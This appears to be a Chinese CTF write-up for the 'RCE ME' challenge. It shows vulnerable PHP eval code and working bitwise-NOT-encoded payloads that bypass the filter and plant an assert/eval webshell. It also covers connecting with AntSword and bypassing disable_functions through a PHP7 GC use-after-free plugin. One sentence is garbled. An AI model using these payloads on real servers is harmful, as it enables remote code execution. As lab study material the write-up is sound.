[极客大挑战 2019]RCE ME

[极客大挑战 2019]RCE ME

1.源码审计

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

2.可以看到,我们必须通过绕过preg_match来绕过执行eval函数。这里涉及到的知识点就是无字符数字的webshell

3.我选用的是异或型

构造payload=(~%8F%97%8F%96%91%99%90)();

在这里插入图片描述

4.成功运行。

5.写一句话木马,这里有一个注意的地方,经过我多次测试,发现取反后的一句话木马必须要php版本是7.0.x版本,其他版本都无法用蚁剑连接。题目的php版本也是7.0.X。

​ 这里我有一个疑问,为什么assert(eval( P O S T [ c m d ] ) ) ; 取 反 后 可 以 连 接 , 但 是 e v a l ( e v a l ( _POST[cmd]));取反后可以连接,但是eval(eval( POST[cmd]));eval(eval(_POST[cmd]));不取反可以连接,但是取反就无法连接。有大佬知道的麻烦评论一下。

payload = assert(eval($_POST[cmd]));
assert -- ~ %9E%8C%8C%9A%8D%8B
eval($_POST[cmd]) -- (~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6)
取反后
payload=(~ %9E%8C%8C%9A%8D%8B)((~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6));

6.蚁剑连接以后发现无法打开文件readflag文件,应该是不允许执行系统命令

在这里插入图片描述

7、利用蚁剑的disable_function插件

在这里插入图片描述

8.选择PHP7_GC_UAF模式, 拿到了flag

在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值